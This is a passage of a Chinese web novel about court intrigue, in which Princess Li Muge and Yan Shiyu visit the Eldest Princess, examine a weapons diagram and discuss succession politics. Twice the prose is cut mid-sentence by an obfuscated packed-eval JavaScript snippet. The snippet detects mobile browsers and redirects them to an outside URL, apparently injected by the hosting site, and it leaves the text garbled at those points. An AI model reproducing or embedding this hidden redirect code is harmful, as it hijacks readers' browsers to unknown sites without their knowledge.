“多谢殿下抬爱。”颜士玉被李暮歌亲自磨墨的举动吓了一跳,这下写折子的时候,大气都不敢多喘,生怕写错一个字。 等颜士玉写完,时间已经过去半个时辰了,等纸上墨迹干了干,李暮歌拿起来通读一遍,越读越震惊。 回想自己十五六岁刚上高中时的文笔,再看看眼前的颜士玉,李暮歌必须承认,人和人之间有壁,而且差距十分之大。 “殿下觉得如何?” “好,写得很好!”连夸人的词汇都是惊人的匮乏,李暮歌将折子收起来,命人去点一桌好饭菜,快要正午了。 两人一同用膳,吃完饭正打算去楼下逛逛,谁知有人来找,是大公主府上的人。 “见过十四殿下,问殿下安,大殿下听闻十四殿下出宫,想请十四殿下到府上用膳,没想到晚了一步,是奴脚程太慢,错过了,还请殿下恕罪。” 领头之人是李暮歌此前接触过多次的蓉娘子,蓉娘子面上带笑,上来就请罪,态度非常好。 李暮歌一看来请人的是蓉娘子,就知道这趟大公主府,她必须去,蓉娘子深受大公主信赖,她的出现代表着大公主的诚意。 “此次午膳错过,下次补上便是,又不是大事,大皇姐既然相邀,岂有不去的道理,颜六,你三姐是不是也在大公主府?” “是,在下正好要去找三姐,还请蓉娘子捎上在下。” 蓉娘子自然应是,只要李暮歌去大公主府就行,带上一个颜六娘子也没什么。 上了马车,颜士玉想起那一日万寿宴,有些坐立难安,今日十四公主来找她,并未同她说有关万寿宴的事情。 那一日,十四公主同祖父说了许多,印象最深刻的就是十四公主斩钉截铁地说,能救下大公主。 最后大公主真的全身而退了,十四公主没有食言。 那么今日大公主听闻十四公主出宫的消息,后脚便派人来寻,究竟是为了什么? 见颜士玉颇有些坐不住的样子,李暮歌轻声道:“不用担心,万寿宴的事情已经过去了,一切已经进入下一个阶段,只看大皇姐想要干什么了。” 颜士玉闻言,并没有放下心,反倒心高高悬了起来。 大公主想要干什么?明眼人都能看出她到底想干什么,一直以来大公主就对太子之位虎视眈眈。 皇储之争可不是简单的事情,没点儿实力和后台,谁掺和进去,谁就是当棋子的命,身为棋子,随时可能会被人推出去做弃子。 “殿下,需得谨慎。”颜士玉不敢多说,更不敢将心里的想法吐露分毫。 太子不是她们的盟友,大公主也不一定是。 李暮歌笑而不语,太子之位就是个靶子,在这个靶子没有倒下去之前,大公主不会将目标放在无关紧要之人身上。 巧合的是,李暮歌的目标也是太子,太子不倒,荣阳就很难倒下,两者互相依偎,共荣共损。 敌人的敌人就是朋友,当她和大公主拥有同样一个敌人的时候,她们自然是最为坚固的盟友。 到了大公主府,李暮歌发现,比起之前她来大公主府上时感受到的繁花锦簇,现在的大公主府,莫名多了几分萧条之感。 好像来往的仆从少了很多,在门口迎来送往的人,也不再是大公主的门客了。 “上次来皇姐府上,有一位姓张的门客,今日怎么没见他?” 李暮歌第一次登门时满心怒火,美人在前都没好好欣赏一番,书里曾说,大公主养了不少好看的少年做门口僚属,没见到属实是遗憾啊。 李暮歌安全度过万寿宴后,心情好了不少,都有欣赏美人的心了。 “回十四殿下话,昨日驸马请那些幕僚去城外庄子上小住了。” 蓉娘面不改色地回复道,颜士玉和李暮歌都露出惊讶之色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14932005|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “大驸马将人请走了?”颜士玉没忍住多问了一句,蓉娘笑着说是,再一次肯定了此事。 李暮歌和颜士玉对视一眼,没有再说什么,进去后却不免八卦两句。 颜士玉凑到李暮歌跟前小声说:“从未听说过大驸马管大殿下后院的事,难道大驸马是吃了陈年老醋,一下子容不得那些人了?” “人不可能突然发生改变。” 李暮歌不相信大驸马是出于吃醋,他要是吃醋,当年大公主养第一个幕僚的时候,他就应该闹了。 因为盛天皇帝养了不少男妃,大庄的公主们便都有养面首的习惯,除了少数几个不太热衷情事的公主外,就没有一个公主后院是干净的。 有钱有势的人大多如此,不会太克制自身欲望,实际上有不少世家主母还会养几个喜欢的少年人,扮做侍女在床前服侍,传出去还算是风流雅事一桩。 李暮歌不觉得这个举动是简单的情感纠纷,她轻声与颜士玉说:“多半与那件事有关。” 大公主在万寿宴上吃了那么大的亏,肯定要去找下手害鸟儿的人,之前李暮歌打听过,贺礼送到皇后凤仪宫后,除非拿皇后手令,否则没人能再去靠近那些贺礼。 皇后有可能为了太子对付大公主,但以这位国母谨慎小心的性子,她绝不会让贺礼在自己手底下出差池。 拿她手令去动贺礼,中途会有很多人经手,一查一个准,所以李暮歌认为,真正动手害鸟的时机,是在大公主府上。 小说里,太子借死鸟一事攻击大公主,大公主反击,至此正式开启夺嫡大战,但却没有一句话说过,鸟是太子所杀,更没有说是太子一党的人所杀。 如果从小说中事件结果上看,万寿宴风波中,得好处最多的不是太子,也不是大公主,而是借由十四公主的死,得到了皇帝愧疚,因此被皇帝补偿许多的六公主与良嫔。 鸟是突然死亡,多半是中了慢性毒,一说用毒,李暮歌目前只能联想到一个人。 她那位好姐姐身边是不是有用毒的高手啊? 李暮歌带着疑惑,走进了待客的中厅。 今日比较冷,大公主没有在水上设宴,而是烧了炉火,在中厅接待李暮歌。 李暮歌一进去,大公主就热情地招呼了她。 “快快进来,今日天凉,长安你怎么穿得这样单薄便离宫了?” 封号还没递上去,大公主已经喊了,李暮歌有些不适应这个名字,愣了一下才回道:“外面还好,太阳照在身上暖和极了,一点儿都不冷。大皇姐也知道,十四文采一般,递给父皇的折子可不能随随便便写,只好出宫一趟,求助颜六娘子,帮忙给折子润色。” “颜家人文采斐然,皇妹有眼光,快快来皇姐身边入座。” 李暮歌应了一声,路过颜士珍身边时,同她互相点头,算是打过了招呼。 坐下后,李暮歌看见放在大公主案上的图。 正是她给大公主的那份军械图。 26.第 26 章 李暮歌的目光在军械图上停留了一瞬。 军械图被大公主随意摊在案头,墨线勾勒的弩机结构旁还沾着几点茶渍——像是被人反复摩挲观察过。 她不动声色地移开视线,接过侍女递来的暖炉时,指尖的凉意被驱散些许。 “皇姐对军械可有研究?” 李暮歌端起桌上的热茶,浅酌一口,随后开口问道。 她这是直奔主题了,颜士珍拿出手帕,捂嘴轻咳两声,一旁的颜士玉有些担心地看向姐姐,天气骤凉,颜士珍身体不好,又逢大公主遭遇难关,颜士珍消耗不少心力,一下子就病了。 “士珍,你不用为此心焦,军械图的秘密,本殿下与十四皇妹自然会弄明白。”大公主先温声安慰了颜士珍两句,回过头来继续跟李暮歌说:“不瞒皇妹,幼时在太学上课时,有工部的官员前来教学,讲过如何看军械图,所以皇姐能看得明白,但正是因为明白,所以才不解,此图究竟有何秘密?” 李暮歌又端着茶杯,饮了一口热茶,听着大公主的问题,有点儿心虚。 她要是知道军械图有什么问题,她早就自己去查了,哪儿还用得着借大公主的手啊!她又不是原主那个军械制造天才,看不懂一点儿! “皇姐,或许有问题的不是军械图,是工部那一张军械图。” 李暮歌想,图上的图样谁都可以仿制,荣阳应该不至于因为一个图样就非要杀亲妹妹,秘密或许并不是在图样上。 大公主恍然,“你是说,工部的那张图纸有问题?难不成是用特殊的墨水制成,能够掩藏秘密在其上。可是从未听说过,太子和荣阳在工部有人。” 六部各司其职,各有各的主子,工部掌管天下工事,活儿重油水少,一向不得众皇子公主们的喜爱,荣阳和太子都将目光放在兵部、户部和吏部上。 “正是因为无人可用,所以东西才会流出到我手上,只是现在想来为时已晚,真正的军械图肯定早被销毁了。” 大公主闻言眉头皱得更紧了,如果军械图已经被毁,那不就说明能够决定局势的证据,已经全然消失了吗? 如此一来,她就得眼睁睁看着荣阳和太子躲过这一劫,之前耗费的心力全部付之东流。 大公主怎会甘心如此轻易放过太子党,别说大公主不甘心,李暮歌自己也不甘心。 “或许,可以从另一条路线查起,工部是怎么得到藏有秘密的军械图的?” 总得有人画,才能出现图,东西是人制造而成,秘密也是人特意传出来的。 大公主点点头,赞同李暮歌说得办法,“如此说来,只要找到绘图之人,便能从根源上查清此事,可时日已久,那人不一定尚在人间啊。” 大公主不认为荣阳会心慈手软,放过那个人。 “不管是活人还是死人,只要找到线索,顺藤摸瓜肯定能寻得答案,不怕找不到人,只怕一点儿痕迹都寻不到。” 雁过留痕,只要做过必有痕迹,李暮歌不信到时候什么都查不出来! 被李暮歌坚定的语气影响,大公主也有了几分信心,她至今尚未查清究竟是谁暗中下毒杀了游隼,让她在万寿宴上遭遇无妄之灾。 背后之人藏得太深,叫大公主备受打击,如今她急需推动事件发展,找到证据,在太子党面前扳回一城。 接下来大公主开始和颜士珍讨论最近新出的才子与他们的画作诗作,没有再提有关朝廷的事情。 李暮歌和颜士玉就在一旁听着,大公主她们所说的一切,都是两人急缺的情报,她们一个久居深宫,一个刚来长宁不久,对这些都不是很了解。 以后李暮歌二人入国子监入读,免不了要与这些名传天下的当代天才们相交,提前知晓其人秉性,能更好拉近关系。 李暮歌有心争上一争,夺得自己命运的掌控权,而颜士玉也不甘示弱,想要做出一番成绩,她们俩都不能闭门造车,必须要更多了解这世上真正顶尖的那一拨人才。 时间在说话中过去,转眼太阳从正中间走到了西边,下午起了风,不知打哪儿吹来乌云,当太阳落山后,只剩下天上月亮,带着朦胧的光晕,点点星辰在乌云的间隙之中闪烁。 放下车帘,李暮歌转过头跟对面坐着的颜士玉说:“明天天气不太好,要早些出门,对了,出门得带上雨具,以免路上被雨淋了。” 空气中遍布潮气,吹来的风都带着水汽,李暮歌觉得明天早上肯定会下雨。 非休沐日,国子监大门绝不会关闭,她和颜士玉还得上学,要做好万全准备。 此刻李暮歌和颜士玉已经从大公主府出来了,颜士珍今晚留宿大公主府,颜士玉打算将李暮歌送到宫门前再离开。 从大公主府出来的这一段路,是两人今日少有的单独谈话时间。 马车之中,两人相对而坐,关系比之前要更亲近一些,总算有些朋友相处的轻松模样了。 颜士玉还以为李暮歌会跟她聊聊当下局势,没想到李暮歌开口会是如此日常的画风。 颜士玉惊奇地问道:“殿下会观天之术?” “不会,这几日春雨频频,天地之间湿气浓重,多半要下雨。对了,有件事忘了同你说,昨日我去了华景宫祭拜十皇姐,淑妃娘娘拦住我,说了一大段话,具体内容记不清了,只有一事我记得清楚。” 李暮歌像是突然想起,随口一说,“淑妃娘娘说,十皇姐死于巫蛊之术。” 颜士玉听到最后四个字,全身寒毛直竖,一种积攒在王朝之中数百年的威压随之而来,这四个字代表着前朝的腥风血雨,也代表着本朝的绝对禁忌。 颜士玉压低声音,用气声道:“殿下,她要害你,你可千万别上当!” “我知道,她想要祸水东引,装疯卖傻罢了。” 李暮歌看书的时候,对书里这群人的印象都很深刻,参与小说主线的人,全都有一颗生命不息战斗不止的心。 在小说中后期,十公主与十一皇子参与夺嫡大战输了,一个废了一个疯了,当时淑妃处境比现在更差。 书中的淑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14938628|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃不光没有认输,甚至还改弦更张,扶持别的皇嗣与新帝继续斗争,直至大局定下,她彻底宣告失败而亡。 淑妃简直是个战斗疯子,两个孩子都死了固然会让她大受打击,但不至于疯疯癫癫。 况且她怎么可能那么好心,免费送给李暮歌一条关键线索?在淑妃眼中,李暮歌是间接杀害她儿子的凶手,李暮歌丝毫不怀疑淑妃对她存有怨恨。 颜士玉见李暮歌神情清明,便知李暮歌完全清楚其中弯弯绕绕,这让她松了口气。 “殿下英明,殿下既然清楚,何苦去蹚这趟浑水?十公主已死,与殿下又没有……”关系。 真的没有关系吗? 颜士玉顿了一下,莫名想起了李暮歌在水下杀死十一皇子的那一幕,她早就查清楚了,在太学的时候,十四公主饱受十公主与十一皇子欺负,甚至到了后期,都不敢去上学了。 十四公主会恨到杀了十一皇子,她难道会大发慈悲,放过十公主? 李暮歌只见颜士玉不知道想到了什么,神情从惧怕逐渐变为惊悚,疑惑地“恩?”了一声。 “殿下……”颜士玉吞吞吐吐不知道该怎么问。 直接问十公主是不是你杀得?颜士玉觉得自己敢问,下一个上了十四公主暗杀名单的人,可能就是自己了。 李暮歌略一琢磨,便明白了颜士玉在怕什么,她嗤笑一声,态度恶劣地问:“你怕什么?不做亏心事,不怕鬼敲门。” 颜士玉尴尬一笑,她确实没有干过坏事,但对于皇嗣们来说,杀个知情的官家小姐,顺手的事罢了。 “做了亏心事的恶人,也不会怕鬼敲门,在下从不怕鬼,在下怕人。”颜士玉也不掩藏自己的胆小,她的理想抱负还未实现,不想将命浪费在皇家内部斗争之上,“殿下若是真出手了,扫清尾巴便好,只要没人能查到,那便是万事大吉。” “可惜我是借刀杀人,那刀原是旁人砍向我的致命一击,淑妃不将我拉入局中,我也早在局内了。” 李暮歌索性坦白,之后颜士玉要与她一同在国子监内活动,颜士玉知情的话,能够帮她办不少事情。 颜士玉神情一肃,认真说道:“殿下,臣女愿闻其详。” 自称臣女,态度很端正。 李暮歌抱臂后仰,靠在软塌上,缓缓说道:“淑妃背后的肃国公一脉经此事元气大伤,覃家现在唯有两个选择,一个是送新的覃家女入宫,尽快怀孕诞下皇嗣,另一个则是在长成的皇嗣中,挑选一位没有母家,或母家势弱的皇嗣扶持,你觉得,覃家会选哪一条路?” “覃家人聪明,算无遗策,臣女猜测,他们会两个都选。” “巧了,我也这样认为。但这两条路都不好走,前脚才出了事,后脚覃家便送人,淑妃岂会容忍此等大辱,定会百般阻挠。再说第二条路,现今大皇姐与太子实力一骑绝尘,选谁能对抗他们呢?” 颜士玉听出点儿味了,她沉了脸,表情严肃得有些吓人。 “殿下想成为覃家支持的皇嗣。”